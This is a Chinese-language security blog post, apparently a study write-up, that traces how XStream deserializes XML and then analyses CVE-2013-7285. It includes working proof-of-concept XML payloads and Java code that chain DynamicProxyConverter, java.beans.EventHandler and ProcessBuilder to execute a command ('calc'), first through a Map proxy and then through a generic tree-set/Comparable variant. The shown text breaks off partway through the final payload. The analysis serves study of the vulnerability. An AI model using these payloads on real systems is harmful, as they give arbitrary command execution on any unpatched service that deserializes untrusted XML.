XStream是一个能将Java对象和XML相互转换的Java库。(脑海浮现spring 加载xml
pom.xml:
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.6</version>
</dependency>
toXML序列化
XStream在序列化对象时,对 没有实现Serializable的类 和 实现了Serializable的类并重写了readObject方法的类 的处理不同。通常我们都认为这个不同只会发生在反序列化过程中
假如有Person类:
public class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
测试类,使用xStream.toXML序列化对象为XML格式
import com.thoughtworks.xstream.XStream;
public class XstreamTest1 {
public static void main(String[] args) {
Person person = new Person("lucy", 22);
XStream xStream = new XStream();
String xml = xStream.toXML(person);
System.out.print(xml);
}
}
结果如下:
<yourpackage.Person>
<name>lucy</name>
<age>22</age>
</yourpackage.Person>
如果Person实现了Serializable接口并重写了readObject,那么相同的序列化处理结果如下:
<yourpackage.Person serialization="custom">
<yourpackage.Person>
<default>
<name>lucy</name>
<age>22</age>
</default>
</yourpackage.Person>
</yourpackage.Person>
fromXML反序列化
反序列化就不用说了,会自动调用readObject
public class fromXML {
public static void main(String[] args) throws Exception{
String xml = "<org.exploit.othercase.XStream.Person serialization=\"custom\">\n" +
" <org.exploit.othercase.XStream.Person>\n" +
" <default>\n" +
" <age>22</age>\n" +
" <name>lucy</name>\n" +
" </default>\n" +
" </org.exploit.othercase.XStream.Person>\n" +
"</org.exploit.othercase.XStream.Person>";
XStream xStream = new XStream();
Person person = (Person) xStream.fromXML(xml);
System.out.println(person);
}
}
调试分析
在fromXML打上断点
fromXML调用了unmarshal
unmarshal内部调用了ReferenceByXPathMarshallingStrategy.unmarshal
ReferenceByXPathMarshallingStrategy内部并没有unmarshal方法,转而调用其抽象类的unmarshal
AbstractTreeMarshallingStrategy.unmarshal调用了createUnmarshallingContext
接着跟,调用了ReferenceByXPathUnmarshaller构造函数
就是个套娃赋值了,跳过跳过
跟到AbstractTreeMarshallingStrategy.unmarshal内的context.start
在start方法内,通过HierarchicalStream.readClassType读取节点类型,接着调用convertAnother进行转换
HierarchicalStream.readClassType读取的结果:
跟进到convertAnother,先是用DefualtConverterLookup.lookupConverterForType去根据类型查找converter,再调用这个converter的convert方法
发现这个DefaultConverterLookup里装配了一堆converter,在哪装进去的呢?
向上逆向,发现XStream的一个构造函数内new DefaultConverterLookup
DefaultConverterLookup类给静态变量赋值为了PrioritizedList
XStream调用到最后的构造函数,会调用setupConverters
setupConverters方法就根据了不同的反序列化type选择了不同的Converter
继承了Serializable并重写了readObject调用到的converter是SerializableConverter
如果 不实现Serializable接口 或者 只实现Serializable不重写readObject,那么converter是ReflectionConverter
XStream的漏洞官网:
https://x-stream.github.io/security.html
converter文件
我们随便打开一个converter文件,其中就三个主要的方法:
canConvert方法:告诉XStream对象,它能够转换的对象;
marshal方法:能够将对象转换为XML时候的具体操作;
unmarshal方法:能够将XML转换为对象时的具体操作;
CVE-2013-7285
XStream version <= 1.4.6 & XStream version = 1.4.10
漏洞点位于EventHandler.invokeInternal:
MethodUtil.invoke实际上就是Method.invoke加了异常处理,可以达到执行任意方法
EventHandler.invoke调用了invokeInternal
EventHandler又实现了InvocationHandler接口,属于动态代理类
接下来看看invoke三个参数怎么来的
先看下EventHandler的构造函数,共设置了target、action、eventPropertyName、listenerMethodName
invokeInternal的主要代码如下:
int lastDot = action.lastIndexOf('.');
if (lastDot != -1) {
target = applyGetters(target, action.substring(0, lastDot));
action = action.substring(lastDot + 1);
}
Method targetMethod = Statement.getMethod(target.getClass(),action, argTypes);
return MethodUtil.invoke(targetMethod, target, newArgs);
假设action字符串为 "user.address.city", target 是一个包含 user 属性的对象
那么经过if代码块后,target 现在是 Address 对象,action 现在是 "city"
那么经过Statement.getMethod后,获取了Address对象的city方法
简单说来就是最后一个
.
前面的是类,后面是方法
但是我们完全可以将action只传一个方法名,不含.
,所以此处可省略,看不懂也没关系,接着往下看就知道了
现在再来看XStream提供的动态代理标签
DynamicProxyConverter
XStream给出了各个converter对应的xml格式
https://x-stream.github.io/converters.html
其中DynamicProxyConverter适用于动态代理:
code:
<dynamic-proxy>
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>
对照Proxy.newProxyInstance的参数来看
interface
标签代表了代理的接口,handler
标签代表InvocationHandler实例,something
标签是传递给handler的额外配置信息
POC XML:
<dynamic-proxy>
<interface>java.util.Map</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
POC:
public class EventHandler {
public static void main(String[] args) throws Exception{
String payload = "<dynamic-proxy>\n" +
" <interface>java.util.Map</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" \t\t\t\t<string>calc</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
"</dynamic-proxy>";
XStream xStream = new XStream();
Map map = (Map) xStream.fromXML(payload);
map.size();
}
}
代理一下Map接口做测试,利用了ProcesserBuilder.start
实际利用的时候需要改下代理接口为代码后续调用到的接口
那有没有办法搞个更通用的呢?
通用POC
别忘了dynamic-proxy标签外还可以嵌套标签,等于嵌套了一个converter
这里找到了TreeSetConverter:
调用了TreeMapConverter.populateTreeMap
populateTreeMap内部,如果该标签已经在第一个元素内(没有子节点),则调用putCurrentEntryIntoMap,否则调用populateMap
populateMap循环判断有无子节点,然后调用putCurrentEntryIntoMap
也就是从内到外解析标签,调用putCurrentEntryIntoMap
putCurrentEntryIntoMap分别对key和value调用了readItem,这是因为Set可以存放Entry
Map 用于存储键值对,键必须唯一,值可以重复。
Set 用于存储唯一的键值对,不允许重复
readItem内部又嵌套的根据Type查找converter并处理
你一看官方给的xml示例,肯定就理解了上面的内容:
tree-map:
<tree-map>
<comparator class="com.blah.MyComparator"/>
<entry>
<string>apple</string>
<float>123.553</float>
</entry>
<entry>
<string>orange</string>
<float>55.4</float>
</entry>
</tree-map>
tree-set:Entry可以先只放key
<tree-set>
<comparator class="com.blah.MyComparator"/>
<string>apple</string>
<string>banana</string>
<string>cabbage</string>
</tree-set>
关键在于,populateMap解析完整个tree-map内的键值对后,调用了result.putAll
Tree.putAll的参数map是Proxy,肯定不会是SortedMap子类,进不去if,看到super.putAll
接着调用put,这里调用的应该是TreeMap重写的put
put内调用了compare
用了Comparable接口的compareTo
这里k1如果是EventHandler,那EventHandler代理Comparable接口,不就能顺利触发到invoke了嘛
POC XML:
<tree-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</tree-set>
POC:
public class EventHandler {
public static void main(String[] args) throws Exception{
String payload = "<tree-set>\n" +
"\t<dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>calc</string>\n" +
" </command>\n" +
" </target>\n" +
"